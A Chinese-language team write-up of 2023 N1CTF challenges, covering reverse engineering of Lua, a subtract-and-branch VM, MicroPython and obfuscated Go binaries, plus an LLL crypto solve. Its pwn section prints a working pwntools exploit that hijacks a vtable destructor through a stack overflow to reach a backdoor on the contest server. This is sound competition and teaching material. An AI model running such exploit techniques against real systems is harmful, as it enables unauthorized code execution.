2023 N1CTF writeup by Arr3stY0u

admin 2023年10月26日02:17:28评论169 views字数 21460阅读71分32秒阅读模式

2023 N1CTF writeup by Arr3stY0u

HEADER

团队简介:

      山海关安全团队(www.shg-sec.com)是一支专注网络安全的实战型团队,队员均来自国内外各大高校与企事业单位,主要从事漏洞挖掘、情报分析、反涉网犯罪研究。Arr3stY0u(意喻”逮捕你“)战队与W4ntY0u(意喻”通缉你“)预备队隶属于CTF组,我们积极参与国内外各大网络安全竞赛的同时并依托高超的逆向分析与情报分析、渗透测试技术为群众网络安全保驾护航尽一份力,简单粗暴,向涉网犯罪开炮。

题目附件下载地址请后台回复:n1ctf2023

REVERSE

AdditionPlus:

输入的每八个字符一组,进行一轮变换

一轮变换调用八个不同的函数,生成八个不同的值

2023 N1CTF writeup by Arr3stY0u

于是考虑利用Ponce的符号执行引擎,每次解出八个字符

以最后八个字符为例

首先将idx初始为40,然后在最后的if校验处进行patch,最后求解即可

2023 N1CTF writeup by Arr3stY0u

2023 N1CTF writeup by Arr3stY0u

2023 N1CTF writeup by Arr3stY0u

前面五段八个字符的求解同理

不仅需要修改idx初始值,还要修改idx终止值,使其始终相差8

2023 N1CTF writeup by Arr3stY0u

最后的if校验处也是修改`or rdx, rax`为相应的rax或rdx寄存器即可

于是最终的flag为:
n1ctf{c327b78b-8ead-425H1N09d-89fb-1d2d0a8f3e7c}”

N1LLua:

lua5.3套了个lua5.2解释器,pow指令存在魔改。

从resources.assets提取出hex字节码反编译

function encrypt(v, k, p)  local v0, v1 = v

, v

local sum = 0 local delta = 2654435769 local k0, k1, k2, k3 = k[1], k[2], k[3], k[4] for i = 1, 32 do sum = sum + delta v0 = v0 + bit32.bxor(bit32.bxor(v1 ^ 4 + k0, v1 + sum), v1 ^ 5 + k1) v1 = v1 + bit32.bxor(bit32.bxor(v0 ^ 4 + k2, v0 + sum), v0 ^ 5 + k3) end v

, v

= v0, v1endfunction main(x) local k = { 3735928575, 3405691582, 3735929054, 3221229823 } local v = x for i = 0, #v - 1, 2 do encrypt(v, k, i) end return vendreturn main(...)

直接用lua5.2运行无法得到和题目一样的结果,把pow5的魔改添加进去也不行,原因不明。

估计是pow4的结果不对导致的。

用unluac生成反汇编代码,然后把加密改成解密让程序自动输出flag。

.constant  k0  1.constant  k1  2.constant  k2  84941944608.constant  k3  2654435769.constant  k4  3.constant  k5  4.constant  k6  32.constant  k7  "bit32".constant  k8  "bxor".constant  k9  5
.line 44 add r3 r2 k0 ; k0 = 1.line 44 gettable r3 r0 r3.line 44 add r4 r2 k1 ; k1 = 2.line 44 gettable r4 r0 r4.line 45 loadk r5 k2 ; k2 = 0.line 46 loadk r6 k3 ; k3 = 2654435769.line 47 gettable r7 r1 k0 ; k0 = 1.line 47 gettable r8 r1 k1 ; k1 = 2.line 47 gettable r9 r1 k4 ; k4 = 3.line 47 gettable r10 r1 k5 ; k5 = 4.line 49 loadk r11 k0 ; k0 = 1.line 49 loadk r12 k6 ; k6 = 32.line 49 loadk r13 k0 ; k0 = 1.line 49 forprep r11 l40.label l15.line 54 gettabup r15 u0 k7 ; k7 = "bit32".line 54 gettable r15 r15 k8 ; k8 = "bxor".line 54 gettabup r16 u0 k7 ; k7 = "bit32".line 54 gettable r16 r16 k8 ; k8 = "bxor".line 54 pow r17 r3 k5 ; k5 = 4.line 54 add r17 r17 r9.line 54 add r18 r3 r5.line 54 call r16 3 2.line 54 pow r17 r3 k9 ; k9 = 5.line 54 add r17 r17 r10.line 54 call r15 3 2.line 54 sub r4 r4 r15
.line 53 gettabup r15 u0 k7 ; k7 = "bit32".line 53 gettable r15 r15 k8 ; k8 = "bxor".line 53 gettabup r16 u0 k7 ; k7 = "bit32".line 53 gettable r16 r16 k8 ; k8 = "bxor".line 53 pow r17 r4 k5 ; k5 = 4.line 53 add r17 r17 r7.line 53 add r18 r4 r5.line 53 call r16 3 2.line 53 pow r17 r4 k9 ; k9 = 5.line 53 add r17 r17 r8.line 53 call r15 3 2.line 53 sub r3 r3 r15
.line 50 sub r5 r5 r6.label l40.line 49 forloop r11 l15.line 57 add r11 r2 k0 ; k0 = 1.line 57 add r12 r2 k1 ; k1 = 2.line 57 move r13 r3.line 57 settable r0 r12 r4.line 57 settable r0 r11 r13.line 58 return r0 1

改完后用unluac汇编回去,写回resources.assets

然后用dnSpy修改Assembly-CSharp.dll

    ulong[] array = new ulong[]    {      0UL,      75405591852UL,      78071625542UL,      69577277816UL,      57193980063UL    };    for (int i = 0; i < 4; i++)    {      luaTable.Set<int, ulong>(i + 1, array[i + 1]);    }    LuaTable luaTable2 = fdelegate(luaTable);    luaTable2.Cast<ArrayList>();    bool flag = true;    for (int j = 1; j < array.Length; j++)    {      if (array[j] != luaTable2.Get<int, ulong>(j))      {        string text2 = "";        for (int k = 0; k < 4; k++)        {          text2 += Encoding.UTF8.GetString(BitConverter.GetBytes(luaTable2.Get<int, ulong>(1 + k))).Substring(0, 4);        }        this.result.text = text2;        this.luaenv.Dispose();        this.luaenv = null;        return;      }    }

按下按钮后就得到flag了

> E5c4p3_N1Lva7ua!

h2o:

题目是只有一条suble指令的vm。

指令格式为suble a, b, dest。

__int64 __fastcall main(int a1, char **a2, char **a3){  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
pc = 0LL; do { v5 = data[pc]; v6 = data[pc + 1]; v4 = pc + 3; if ( v6 < 0 ) { putc(data[v5], stdout); } else if ( v5 < 0 ) { data[v6] = getc(stdin); } else { v7 = data[pc + 2]; v8 = data[v5]; v9 = data[v6] <= v8; data[v6] -= v8; if ( !v9 ) v7 = v4; v4 = v7; } pc = v4; } while ( v4 < 211124 ); return 0LL;}

先写个脚本dump常量。

import structimport sysimport ctypes
data = list(struct.unpack_from('<211124q', open('h2o', 'rb').read(), 0x3040))pc = 0x2bcount = 0s = b''while pc < 211124: if data[pc] != 0: v = 0-data[pc] if 32 <= v <= 126: # print(hex(pc), v, chr(v)) s += bytes([v]) if 211124 < v < 2**32: print(hex(pc), hex(v)) pc += 1print(s)
0x10f62 0x636f32680x1706a 0x636f32680x17099 0x636f32680x170c8 0x636f32680x170f7 0x636f3268
0x1718d 0x75ff64c2 疑似enc_flag0x171bc 0x357e9a470x171eb 0x418d87a70x1721a 0x4d8e0a6d0x17249 0x697bb4430x17278 0x393987470x172a7 0x3deba1390x172d6 0xc34f49bbb'???-0000*Runtime error: Array index out of bounds/Runtime error: Use of an uninitialized memory%Runtime error: Invalid array recastUnknown runtime error!# ******************************** Welcome to N1CTF2023 **** >> h2o << **** a.k.a. Ancient Game V3 ********************************Input your flag: Verifying...OK!Try again.'

程序getc的次数是32,猜测flag长度就是32,和dump出来的常量对应上。

trace脚本

import structimport sysimport ctypes
data = list(struct.unpack_from('<211124q', open('h2o', 'rb').read(), 0x3040))pc = 0traced = ['']*211124counts = [0]*211124flags = [ 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000,]flag = struct.pack('<8I', *flags)count = 0rounds = 0while pc < 211124: v5 = data[pc] v6 = data[pc + 1] v4 = pc + 3 s = '' if v6 < 0: sys.stdout.write(chr(data[v5])) s = f'{pc:08X}: write(m[{hex(v5)}])' elif v5 < 0: # data[v6] = ord(sys.stdin.read(1)) data[v6] = flag[count] count += 1 s = f'{pc:08X}: m[{hex(v6)}]=read(1)' else: v7 = data[pc + 2] value = ctypes.c_int64(data[v6]-data[v5]).value # n = 0x2f208f6d # t = value in (n, -n) and data[v6] != 0 and data[v5] != 0 # t = ((data[v6] in (n, -n) and data[v5] != 0) or (data[v5] in (n, -n) and data[v6] != 0)) and (v6 != v5) t = pc in [0x00012071, 0x000121EE, 0x00013B7D, 0x000191FE] # t = pc == 0x00005670) # if pc == 0x00012071: # rounds += 1 # t = False # if 1 <= rounds < 2: # t = True
if not traced[pc] or t: if v6 == v5: s = f'{pc:08X} | goto {v7:08X}' else: s = f'{pc:08X} | [{hex(v6)}]:{hex(data[v6])} <= [{hex(v5)}]:{hex(data[v5])} = {hex(value)}; goto {v7:08X}' if t: print(f'{counts[pc]:-4}| ',s) v9 = data[v6] <= data[v5] # if pc == 0x000121EE: # value = 0xFF_FF_FF_FF data[v6] = value if v9: # if pc != 0x0001AB5C: v4 = v7 # goto xx # if pc == 0x00013B7D: # print(f'0x{(data[v6]^(0x636f3268*2)):08X}') # exit() traced[pc] = s counts[pc] += 1 pc = v4
# for i in range(211124):# if traced[i]:# print(f'{counts[i]:10} ||| {traced[i]}')
Input your flag:Verifying...   0|  00012071 | [0xd]:0x0 <= [0x24]:0x0 = 0x0; goto 00012074   0|  000121EE | [0xc]:0x0 <= [0x24]:-0x636f3268 = 0x636f3268; goto 000121F1   0|  00013B7D | [0xc]:0x0 <= [0x24]:-0x37cd2004 = 0x37cd2004; goto 00013B80   1|  00012071 | [0xd]:0x9a9f3c80 <= [0x24]:-0x37cd2004 = 0xd26c5c84; goto 00012074   1|  000121EE | [0xc]:0x636f3268 <= [0x24]:-0x14b23854 = 0x78216abc; goto 000121F1   1|  00013B7D | [0xc]:0x37cd2004 <= [0x24]:-0x72f09a5e = 0xaabdba62; goto 00013B80   2|  00012071 | [0xd]:0x79de32e9 <= [0x24]:-0xaabdba62 = 0x1249bed4b; goto 00012074   2|  000121EE | [0xc]:0x78216abc <= [0x24]:-0xed67a73 = 0x86f7e52f; goto 000121F1   2|  00013B7D | [0xc]:0xaabdba62 <= [0x24]:-0x2f4ac7d4 = 0xda088236; goto 00013B80   3|  00012071 | [0xd]:0x126c4e08 <= [0x24]:-0xda088236 = 0xec74d03e; goto 00012074   3|  000121EE | [0xc]:0x86f7e52f <= [0x24]:-0x61c8199e = 0xe8bffecd; goto 000121F1   3|  00013B7D | [0xc]:0xda088236 <= [0x24]:-0x17aae2f90 = 0x254b6b1c6; goto 00013B80   4|  00012071 | [0xd]:0x6c3156c7 <= [0x24]:-0x54b6b1c6 = 0xc0e8088d; goto 00012074   4|  000121EE | [0xc]:0xe8bffecd <= [0x24]:-0x31c3f485 = 0x11a83f352; goto 000121F1   4|  00013B7D | [0xc]:0x54b6b1c6 <= [0x24]:-0x1d0164f76 = 0x224cd013c; goto 00013B80   ...   ...   ...
28| 00012071 | [0xd]:0x6c3156c7 <= [0x24]:-0x54b6b1c6 = 0xc0e8088d; goto 00012074 28| 000121EE | [0xc]:0xe8bffecd <= [0x24]:-0x31c3f485 = 0x11a83f352; goto 000121F1 28| 00013B7D | [0xc]:0x54b6b1c6 <= [0x24]:-0x1d0164f76 = 0x224cd013c; goto 00013B80 29| 00012071 | [0xd]:0x9a914c04 <= [0x24]:-0x24cd013c = 0xbf5e4d40; goto 00012074 29| 000121EE | [0xc]:0x1a83f352 <= [0x24]:-0x1ebc56330 = 0x206495682; goto 000121F1 29| 00013B7D | [0xc]:0x24cd013c <= [0x24]:-0xa7647e07 = 0xcc317f43; goto 00013B80 30| 00012071 | [0xd]:0x61ce43fd <= [0x24]:-0xcc317f43 = 0x12dffc340; goto 00012074 30| 000121EE | [0xc]:0x6495682 <= [0x24]:-0x195f5a398 = 0x19c3efa1a; goto 000121F1 30| 00013B7D | [0xc]:0xcc317f43 <= [0x24]:-0x166272b0 = 0xe293f1f3; goto 00013B80 31| 00012071 | [0xd]:0x2469a9c7 <= [0x24]:-0xe293f1f3 = 0x106fd9bba; goto 00012074 31| 000121EE | [0xc]:0x9c3efa1a <= [0x24]:-0x1d8408fa = 0xb9c30314; goto 000121F1 31| 00013B7D | [0xc]:0xe293f1f3 <= [0x24]:-0x1de0dba0c = 0x2c0a1abff; goto 00013B80 0| 000191FE | [0x24]:-0x75ff64c2 <= [0x25]:-0xb9c30314 = 0x43c39e52; goto 00019204

调调猜猜几个小时后恢复该算法

import struct
delta = 0x636f3268 # h2oc

def encrypt(v0, v1): _sum = delta for i in range(8): v0 += ((((v1 << 9) ^ (v1 >> 6)) + v1) ^ _sum) v0 &= 0xFFFFFFFF _sum += delta _sum &= 0xFFFFFFFF v1 += ((((v0 << 2) ^ (v0 >> 10)) + v0) ^ _sum) v1 &= 0xFFFFFFFF # print(hex(v0), hex(v1)) return v0, v1

def decrypt(v0, v1): _sum = delta*(8+1) for i in range(7, -1, -1): v1 -= ((((v0 << 2) ^ (v0 >> 10)) + v0) ^ _sum) v1 &= 0xFFFFFFFF _sum -= delta _sum &= 0xFFFFFFFF v0 -= ((((v1 << 9) ^ (v1 >> 6)) + v1) ^ _sum) v0 &= 0xFFFFFFFF # print(hex(v0), hex(v1)) return v0, v1

v0, v1 = encrypt(0x30303030, 0x30303031)v0, v1 = decrypt(v0, v1)print(hex(v0), hex(v1))
enc_flag = [ 0x75ff64c2, 0x357e9a47, 0x418d87a7, 0x4d8e0a6d, 0x697bb443, 0x39398747, 0x3deba139, 0xc34f49bb,]
flag = b''for i in range(0, 8, 2): v0, v1 = decrypt(enc_flag[i], enc_flag[i+1]) flag += struct.pack('<2I', v0, v1)print(flag) # n1ctf{a_n1ce_h2occ_powered_xtea}

Micro_Check:

micropython+字节码花指令

直接用官方仓库的mpy-tool.py

parent_name = 'test_parent_name'_qstr_table = ['apa106.py', 'NeoPixel', 'neopixel', 'APA106', ...]
_qstr_const_table = ['', '', '__dir__', 'n', ' ', '*', '/', '<module>', ...]

_qstr_const_table.extend(_qstr_table)
obj_table = [ 'unk_0x21EA', 0.2, 'const_obj_finish_it_2', 'const_obj_finish_it_3', 0x4E75314C, "nnWelcome to N1CTF 2023nn", 'unk_21F2', 'unk_21FA']qstr_table_data_finish_it = [0x0431, 0x0007, 0x01A5, 0x0312, 0x03E5, 0x003C, 0x015F, 0x01A1, 0x0432, 0x00A2, 0x0433, 0x0434, 0x0001, 0x0435, 0x03B9, 0x0436, 0x0437, 0x0339, 0x01ED, 0x0240, 0x0311, 0x0275, 0x0071, 0x0438, 0x0439, 0x043A, 0x007B, 0x043B, 0x005E, 0x043C, 0x007A]qstr_table = []for x in qstr_table_data_finish_it: s = _qstr_const_table[x] print('#:', hex(x), s) qstr_table.append(QStrType(s))
# qstr_table = [QStrType(x) for x in _qstr_table]# for s in _qstr_table:# h = qstrutil.compute_hash(s.encode(), 2)# if h == 0x9999:# print(s)
fun_data_main = bytes.fromhex( '181416803D2727202527274C121A2305340159121A2306340159120D3400C01210B034014453121A23073401591204140E22A7083601594247121A101734015942185163')fun_data_check = bytes.fromhex('591C101D802D45262823262A28232842426E809162EE943E4005C25F6216DB6EC314183CCFA55658B6129E4735726B9E1F9BF93078214704C766B2E534F766CF80518180EE437E7E99C9604FF3394C198CBC03A532961A2D12D8221FF9FBE7AE11126AC22EBF9CE829203B8B691702F691D651ABDC734741D9538412DF8AA848CE0117EFB91B11C1B114123600C2B28180EF446C830685F4603C2880DFC8DC0A087ADDFC26B4B4A82CB0E78C1D67BC86D759E54F8A5A779E675BEEF9727B3DE8141310143601C32302C4120FB33401C5120F8180ED4345DC6311489DB01415360034014248559D66E8AC0DC692C0121EB0425221184B6E34D36FFEE2FFF654E71405B1F7A7B5B43403C681437B871D71AFDF8571C1C9B003F38B0CA57D1D1EC76F1308579DF8637B586AA253E73CC969F0978F79012CE505EBE907AB80DBF5390292C2B658A0235223038181EE447A063322DF304C777AEBC870D72557D3F60EF771495F2614CD81E7F4BD9ADE22D4A4AE9C40C8848C93ACC9CFFFC9BD16F7082F42E898C61D3CBCD2C7B6B78180ED43593EDA0DA1062C5510E9D258E121E58A24F71849F9DC69CC2E862304F2D9426FE97FF0B18492CA9203D4AA496A8134C045BBABA2F5F38CA74DD41C30EC5ECAAC7298ABDBBE33105C23FF5495C7AAB94442526350635163')fun_data_bytes_to_long = bytes.fromhex( '490E0F1B802722252E80C1B05F4B0FC2B1228200F4121CB23401F2C1422FB163')fun_data_get_input = bytes.fromhex('28200D801523202526222629264224252D464249BE715C23113E92CBC1100C814346008CFAC3B1C5C012083400C1B1100CD94442427CB1100AD94449B0517F2E0255C0424CB1100BD94442B063B0B1E5C080424957C2121A34005981E5578AD7433259121AB03401591204140E230136015942B47F80445896294B014A36CA7BD92E993743F17CA547C24CF62BA4FBEC8180EE43755CD4B30087275AE46BEAD6F29D41E90963EF12CB1D3DC3DAB7D62B3C435B6A2C39764EE4BAEC2F55C5B7DD1600365D523BEF27704651424331DAF463')fun_data_read_button = bytes.fromhex('2016088009232A232A43252A2C426556A1789638700014C9F49A00094ED788AABE11006333A8C668430FEC5A08EA1750C03F818B23008180ED435A3717D7459D70ADF988DC595672FC3B6F0147969D47EFF73641A3C012189055140936004343100A6312189155140980447B08FB89DD178430D2E7C534456272C605118E08D63ED97606291D149B9B95D59E24DBE047047AD6636AA790C783D197C39BB06AB27AFC537B8B9CF236004343100B6380425257C11218B155140936004344B0B1556381E55790D743298180ED435CE65D2B0543C27DB1DC466C977B4A85ACDC3ABFDE1335C6834B8E863B59426250E4542BBD24265BA7AB9DE10D5DA51A8C8A79D81DB2EF57E926E7DD292D622D174B100C63')fun_data_module_gt = bytes.fromhex('301C012C4624267D840C841264608410801002425CE07F82F379A4F39C97E6D914E014863B2F86C0EFBAE8AABBD02A0EF92A0181435363270D23B2B509644C53AE917989B442E930FF1B031C0280447FC9BA3AD059135DFD88B8CF690574CA0B1D703B6870919FE9857DF4E02B8F250E55AD37CEA27474244460DA11FE7E5D1047C4DA5068183CE4528D138B368A4816028180EE43498DA05D0AF84E10F1265980511B0416042B00161880425A57161911181405110211191102130611021307340336015981E55792D7432142736692D025792C883F463F59CEEB7BFAC1E6581C290F8DC6BCEDA144C75FE78CEAC97375DCA55549EB1017A313788B0FF71E74C6425974805079C888A8A2CCE778BBA1730C0E253E56EEA483BB84A25932008180ED4366B4BFB7B049B3E46D9A1E1EB83931EB8098C7940D16774F7002F8A07F3BA9AC9BABD138E9B22716088181EE4465EEE8B85CDE97F10D919387A7E3F7F947EE52B8CA5E2CAF0FAD11B4C00B11C8B7C0293F2CF33201160D3202160F32031610320416168180EE437C6F7BBCEA543371DEFDB237E99FC5CF269013D5C35A489B9B4D04D722221EB1D87960F09F64C335577DB85B429D7E3B9C1369B0280CBBB6CE105F2DA851425DD206D936539AEF403B40544E40CDAD35B34FE9AF56E97F80057109D7B663')
## obj_table = [# "The filesystem appears to be corrupted",# 'unk_2182',# "# This file is executed on every boot (including wake-boot fr",# ]# fun_data_inisetup_setup = bytes.fromhex('34200D802525272D2B2B2D2B2B2A2B2388081205340059121A23013401591203140E36008455100FD9445612021310141112033601591202141012033601C042631203140E360084551012D9445612021313141112033601591202141312033601C0424012021414B01015360259121B101610173402470AC1B114182302360159515C5DB063')
rc = RawCodeBytecode(parent_name, qstr_table, obj_table, fun_data_check)rc.children = []rc.disassemble()

修改一下disassemble方法

            if 'unknown' in Opcode.mapping[bc[ip]]:                exit()            obf = [                [fun_data_get_input, (                    18, 203,  # JUMP                    32, 147,  # POP_JUMP_IF_TRUE                    118  # POP_JUMP_IF_FALSE                )],                [fun_data_read_button, (                    13, 234,  # JUMP                    57,  # POP_JUMP_IF_TRUE                    106, 203  # POP_JUMP_IF_FALSE                )],                [fun_data_check, (                    16, 227, 241, 430,  # JUMP                    69, 267, 399, 213,  # POP_JUMP_IF_TRUE                    146, 333  # POP_JUMP_IF_FALSE                )],                [fun_data_module_gt, (                    19, 204, 257, 456,  # JUMP                    52, 148, 290, 393,  # POP_JUMP_IF_TRUE                    78, 335  # POP_JUMP_IF_FALSE                )],            ]            aa = 0            for fun_data, junks in obf:                if self.fun_data == fun_data and ip in junks:                    # ip = ip + sz + arg                    aa = 1                    break            if aa:                ip = ip + sz + arg                continue
simple_name: check  raw bytecode: 487   prelude: (12, 0, 0, 1, 0, 0)  args: ['flag']  line info: 80:2d:45:26:28:23:26:2a:28:23:28:42
0064 80 LOAD_CONST_SMALL_INT 00065 51 LOAD_CONST_NONE
# network.WLAN()0133 1b:11 IMPORT_NAME network0135 c1 STORE_FAST 10136 b1 LOAD_FAST 10137 14:12 LOAD_METHOD WLAN0139 36:00 CALL_METHOD 00141 c2 STORE_FAST 20142 b2 LOAD_FAST 2
# .config('mac')0192 14:13 LOAD_METHOD config0194 10:14 LOAD_CONST_STRING mac # "40:4e:75:31:4c:3b" @Nu1L;0196 36:01 CALL_METHOD 10198 c3 STORE_FAST 3

# 7273875847584138403660973344082243622727458256015327174568591072856337650309388133371696045470954034793473914381054574383762275717483579989174823689448233# 77075929738710336900303814411525983845917535953388381837644686540024558690121# 94372858974816014947153922625328010685236466857841138326117600433844030901473
0199 23:02 LOAD_CONST_OBJ 'const_obj_finish_it_2'0201 c4 STORE_FAST 4
# v5 = bytes_to_long(mac)0202 12:0f LOAD_GLOBAL bytes_to_long0204 b3 LOAD_FAST 30205 34:01 CALL_FUNCTION 10207 c5 STORE_FAST 5
# v0 = bytes_to_long(flag.encode())0208 12:0f LOAD_GLOBAL bytes_to_long0220 b0 LOAD_FAST 00221 14:15 LOAD_METHOD encode0223 36:00 CALL_METHOD 00225 34:01 CALL_FUNCTION 10237 c0 STORE_FAST 0
0238 12:1e LOAD_GLOBAL pow0240 b0 LOAD_FAST 0
0261 b5 LOAD_FAST 5 # bytes_to_long(mac) exp0262 b4 LOAD_FAST 4 # const_obj_finish_it_2 N0263 34:03 CALL_FUNCTION 3 # pow
0265 c6 STORE_FAST 6
# 8297545096012120570975554092909085641204414886608769032944957635027331767893383511127009158733131628615110904916001609045933185440123274318258176271899750328 23:03 LOAD_CONST_OBJ 'const_obj_finish_it_3'0393 c7 STORE_FAST 7
0394 b6 LOAD_FAST 60395 b7 LOAD_FAST 7 # (bn1 + 1316303180 == bn2)
0426 23:04 LOAD_CONST_OBJ 13163031800428 f2 BINARY_OP 27 __add__0429 d9 BINARY_OP 2 __eq__
0479 44:42 POP_JUMP_IF_FALSE 2 ; 0483
0481 52 LOAD_CONST_TRUE 0482 63 RETURN_VALUE0483 50 LOAD_CONST_FALSE0484 63 RETURN_VALUE
import gmpy2from libnum import *from Crypto.Util.number import bytes_to_long

n = 7273875847584138403660973344082243622727458256015327174568591072856337650309388133371696045470954034793473914381054574383762275717483579989174823689448233p = 77075929738710336900303814411525983845917535953388381837644686540024558690121q = 94372858974816014947153922625328010685236466857841138326117600433844030901473
e = bytes_to_long(b'@Nu1L;') # macprint('e', e)
d = gmpy2.invert(e, (p-1)*(q-1))
bn1 = 829754509601212057097555409290908564120441488660876903294495763502733176789338351112700915873313162861511090491600160904593318544012327431825817627189975sk = bn1+1316303180
msg = pow(sk, d, n)
# F00739A72C1189D390836438B5549243print(n2s(int(msg)))

n1go:

先写个脚本解决加密字符串

import re
code = open('./N1G0.go', 'rb').read().decode()
gen_code = r'''package main
import "fmt"
func main() { str_pool := []string{
p = 'func() string {[sS]+?}()'
founds = ''for found in re.findall(p, code): gen_code += found + ',n' founds += found + 'MY_SPLIT' # print(found)
open('./founds.txt', 'wb').write(founds.encode())
gen_code += r''' } for i := 0; i < len(str_pool); i++ { fmt.Printf("%sMY_SPLIT", str_pool[i]) }}
open('./gen_code.go', 'wb').write(gen_code.encode())

编译运行生成的go源码后得到str_pool.txt

根据str_pool.txt和founds.txt还原明文字符串。

code = open('./N1G0.go', 'rb').read().decode()

founds = open('./founds.txt', 'rb').read().decode().split('MY_SPLIT')[:-1]str_pool = open('./str_pool.txt', 'rb').read().decode().split('MY_SPLIT')[:-1]
for i, found in enumerate(founds): code = code.replace(found, f'"{str_pool[i]}"')
open('./N1G0_new.go', 'w').write(code)

统一case常量为字符。

import re
code = open('./N1G0_new_clean.go', 'rb').read().decode()
for asc in range(32, 127): code = code.replace(f'case {asc}:', f"case '{chr(asc)}':")
open('./N1G0_new_clean2.go', 'wb').write(code.encode())

然后手动去掉无用的print只保留congratulation提示, 并移动放到源码末尾。

.........func iEF9sE5xanN() {  switch dWhhB1d() {  case 'U':    db9L08X4Z()  case '2':    t1M2SAs_()  case '6':    os.Exit(0)  case 'K':    vRPsVznObub()  }}
func gdiUX0zuD() { switch dWhhB1d() { case 'Y': dFBfWu() case '1': rX7fzHY() case 'A': os.Exit(0) case 'a': cxsvrsCoQB() }}
// cMpCg2IkJ95 -> eicz56Kamp
func eicz56Kamp() { fmt.Println("congratulation! your flag is N1CTF{md5(your input)}")}

得到干净的源码后写个脚本跑路径。

import re
code = open('./N1G0_new_clean2.go', 'rb').read().decode()
start = 'cMpCg2IkJ95'end = 'eicz56Kamp'
fun_list = [fun for fun in re.findall('func ([a-zA-Z0-9_]+)()', code)]print(len(fun_list))
# case 'Y':founds = []for ch, fun in re.findall("case '(.)':s+(.+?)(", code): if fun not in fun_list: fun = 'Exit' found = None else: found = (ch, fun) founds.append(found)
print(len(founds))game = {}for i in range(len(fun_list)): fun = fun_list[i] _case = founds[i*4:(i+1)*4] _case = [x for x in _case if x is not None] print(fun, _case) game[fun] = _case

def dfs(flag, fun, trace: set): if fun in trace: return if fun == 'eicz56Kamp': print('found!', flag) return trace.add(fun)
for ch, next_fun in game[fun]: dfs(flag+ch, next_fun, trace.copy())
dfs('', 'cMpCg2IkJ95', set())

# found! LKdwYBeVVLxJw9qU7OQu41Vi1yNKEP8QG57KomIuYvS5uzvO39i0MhoDO6ReG8Q33oXoRnoJA0t9RwBpmtj1zuKmSzpLnIg5PRjCszXgd5mMq25vuvrlCpUW2Es4ymfidLsXvRbeW8a7xKuYPmVvQ3jAUwFUIhGHl7Zus9JqJ4OyCBQ56sjRO1M47G6BmsUes7b1


PWN

n1canary:

自定义的栈保护机制是无法绕过的,因为我们很难确定栈地址低字节的值,也难以确定赋值给syscanary的随机数是什么。

题面实际上充满了迷惑性,这题其实根本就不是打canary。或者说,这题算是canary stack smash思想的一个灵活应用。

漏洞点是溢出,我们可以覆盖main函数保存的一个BOF对象指针。自定义的canary会触发异常导致程序退出,这个时候会对所有的对象进行析构处理。攻击BOF对象指针可以劫持其虚函数表,进而伪造其中的析构函数指针指向程序后门。

溢出时需要正常填写填写原返回地址,胡乱填充会让程序崩溃。异常处理的跳转似乎和这个返回地址有关系。

from pwn import *
context.terminal=['tmux','splitw','-h']context.arch='amd64'context.log_level='debug'
global p
ELFpath='/home/jmpcliff/Desktop/a.out' #libcpath='/home/jmpcliff/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc-2.31.so'
#p=process(ELFpath)#p=gdb.debug(ELFpath,'b*$rebase(0x1813)')
p=remote('43.132.193.22',9999)
e=ELF(ELFpath)#libc=ELF(libcpath)
rut=lambda s :p.recvuntil(s,timeout=0.3)ru=lambda s :p.recvuntil(s)r=lambda n :p.recv(n)sl=lambda s :p.sendline(s)sls=lambda s :p.sendline(str(s))ss=lambda s :p.send(str(s))s=lambda s :p.send(s) uu64=lambda data :u64(data.ljust(8,'x00'))it=lambda :p.interactive()b=lambda :gdb.attach(p)bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))get_leaked_libc = lambda :u64(ru('x7f')[-6:].ljust(8,'x00'))
LOGTOOL={}def LOGALL(): log.success("**** all result ****") for i in LOGTOOL.items(): log.success("%-20s%s"%(i[0]+":",hex(i[1])))
def get_base(a, text_name): text_addr = 0 libc_base = 0 for name, addr in a.libs().items(): if text_name in name: text_addr = addr elif "libc" in name: libc_base = addr return text_addr, libc_basedef debug(): global p text_base, libc_base = get_base(p, 'noka') script = ''' set $text_base = {} set $libc_base = {} b*0x403381 b*0x403405 b*0x40354C b*0x403727 b*0x403387 '''.format(text_base, libc_base) #b*$rebase(0x1813) #b*$rebase(0x18e5) #b mprotect #b *($text_base+0x0000000000000000F84) #b *($text_base+0x000000000000134C) # b *($text_base+0x0000000000000000001126) #dprintf *($text_base+0x04441),"%c",$ax #dprintf *($text_base+0x04441),"%c",$ax #0x12D5 #0x04441 #b *($text_base+0x0000000000001671) gdb.attach(p, script)
def ptrxor(pos,ptr): return p64((pos >> 12) ^ ptr)
#debug()ru('To increase entropy, give me your canary')
usercanary=0x4F4AA0backdoor=0x403387pay =p64(usercanary+8)pay+=p64(backdoor)pay+=p64(backdoor)pay+=p64(backdoor)pay+=p64(backdoor)
pay=pay.ljust(0x40,b'x00')
s(pay)
ru('input something to pwn :)')
sl(b'a'*0x68+p64(0x403407)+p64(usercanary))#sl(0x58*'a')
it()


CRYPTO

lll_test:

from sage.all import *from Crypto.Util.number import *from gmpy2 import *from Crypto.Cipher import AES
p = 115792089210356248762697446949407573529996955224135760342422259061068512044369m = 0x87322d20128ec12d4290a636a049b8b9fed3ba46cd60acb7aaaf9e27198ca39dhighm = 0x87322d20128ec12d4290a636a049b8b900000000000000000000000000000000s = 98064531907276862129345013436610988187051831712632166876574510656675679745081r = 9821122129422509893435671316433203251343263825232865092134497361752993786340a=(s-r*2^128)a=invert(a,p)print(a)b=(a*(m-highm*s))%pprint(b)c=(a*r)%pprint(c)M = Matrix(ZZ,3,3,[[2^128,0,b-2^128 ], [0,1,c], [0,0,p]])#print(M)
mm = M.LLL()print(mm)
#[ 340282366920938463463374607431768211456 109657576978117277727118025094273115603 -117622080112774443694333767714409612740]d2=2^128-117622080112774443694333767714409612740d1=109657576978117277727118025094273115603d=d2*2**128+d1cipher = b'xf3#xffx17xdfxbbxc0xc6vx1bgxc7x8a6xf2xdf~x12xd8]xc5x02Otx99x9fxf7xf3x98xbcx045x08xfbxce1@exbcg[Ixd1xbfxf8xean-'
print(hex(d))
aes = AES.new(long_to_bytes(d), mode=AES.MODE_ECB)cipher = aes.decrypt(cipher)print(f'cipher = {cipher}')#b'n1ctf{Wow!__You_bre4k_my_s1gn_chal1enge!!___}x03x03x03'


FOOTER

CTF组招新联系qq2944508194

原文始发于微信公众号(山海之关):2023 N1CTF writeup by Arr3stY0u

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
